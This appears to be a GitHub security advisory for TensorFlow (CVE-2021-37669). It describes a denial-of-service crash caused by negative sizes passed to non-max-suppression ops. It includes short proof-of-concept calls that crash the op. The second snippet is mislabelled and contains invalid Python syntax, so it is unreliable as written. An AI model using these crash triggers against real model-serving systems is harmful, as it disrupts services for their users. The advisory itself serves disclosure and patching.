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Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZtanctYzJ2cC1wMzNj

Crash in NMS ops caused by integer conversion to unsigned

Impact

An attacker can cause denial of service in applications serving models using tf.raw_ops.NonMaxSuppressionV5 by triggering a division by 0:

import tensorflow as tf

tf.raw_ops.NonMaxSuppressionV5(
  boxes=[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],
  scores=[1.0,2.0,3.0],
  max_output_size=-1,
  iou_threshold=0.5,
  score_threshold=0.5,
  soft_nms_sigma=1.0,
  pad_to_max_output_size=True)

The implementation uses a user controlled argument to resize a std::vector:

  const int output_size = max_output_size.scalar<int>()();
  // ...
  std::vector<int> selected;
  // ...
  if (pad_to_max_output_size) {
    selected.resize(output_size, 0);
    // ...
  }

However, as std::vector::resize takes the size argument as a size_t and output_size is an int, there is an implicit conversion to usigned. If the attacker supplies a negative value, this conversion results in a crash.

A similar issue occurs in CombinedNonMaxSuppression:

import tensorflow as tf

tf.raw_ops.NonMaxSuppressionV5(
  boxes=[[[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]]]],
  scores=[[[1.0,2.0,3.0],[1.0,2.0,3.0],[1.0,2.0,3.0]]],
  max_output_size_per_class=-1,
  max_total_size=10,
  iou_threshold=score_threshold=0.5,
  pad_per_class=True,
  clip_boxes=True)

Patches

We have patched the issue in GitHub commit 3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d and commit b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Permalink: https://github.com/advisories/GHSA-vmjw-c2vp-p33c
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZtanctYzJ2cC1wMzNj
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: over 2 years ago
Updated: about 1 year ago


CVSS Score: 5.5
CVSS vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-vmjw-c2vp-p33c, CVE-2021-37669
References: Repository: https://github.com/tensorflow/tensorflow
Blast Radius: 26.8

Affected Packages

pypi:tensorflow-gpu
Dependent packages: 146
Dependent repositories: 11,499
Downloads: 350,104 last month
Affected Version Ranges: = 2.5.0, >= 2.4.0, < 2.4.3, < 2.3.4
Fixed in: 2.5.1, 2.4.3, 2.3.4
All affected versions: 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 1.15.2, 1.15.3, 1.15.4, 1.15.5, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.4.0, 2.4.1, 2.4.2, 2.5.0
All unaffected versions: 2.3.4, 2.4.3, 2.4.4, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.12.0
pypi:tensorflow-cpu
Dependent packages: 71
Dependent repositories: 2,483
Downloads: 940,986 last month
Affected Version Ranges: = 2.5.0, >= 2.4.0, < 2.4.3, < 2.3.4
Fixed in: 2.5.1, 2.4.3, 2.3.4
All affected versions: 1.15.0, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.4.0, 2.4.1, 2.4.2, 2.5.0
All unaffected versions: 2.3.4, 2.4.3, 2.4.4, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0, 2.12.1, 2.13.0, 2.13.1, 2.14.0, 2.14.1, 2.15.0, 2.15.1, 2.16.1
pypi:tensorflow
Dependent packages: 1,733
Dependent repositories: 73,755
Downloads: 22,369,513 last month
Affected Version Ranges: = 2.5.0, >= 2.4.0, < 2.4.3, < 2.3.4
Fixed in: 2.5.1, 2.4.3, 2.3.4
All affected versions: 0.12.0, 0.12.1, 1.0.0, 1.0.1, 1.1.0, 1.2.0, 1.2.1, 1.3.0, 1.4.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.7.0, 1.7.1, 1.8.0, 1.9.0, 1.10.0, 1.10.1, 1.11.0, 1.12.0, 1.12.2, 1.12.3, 1.13.1, 1.13.2, 1.14.0, 1.15.0, 1.15.2, 1.15.3, 1.15.4, 1.15.5, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.4.0, 2.4.1, 2.4.2, 2.5.0
All unaffected versions: 2.3.4, 2.4.3, 2.4.4, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.9.0, 2.9.1, 2.9.2, 2.9.3, 2.10.0, 2.10.1, 2.11.0, 2.11.1, 2.12.0, 2.12.1, 2.13.0, 2.13.1, 2.14.0, 2.14.1, 2.15.0, 2.15.1, 2.16.1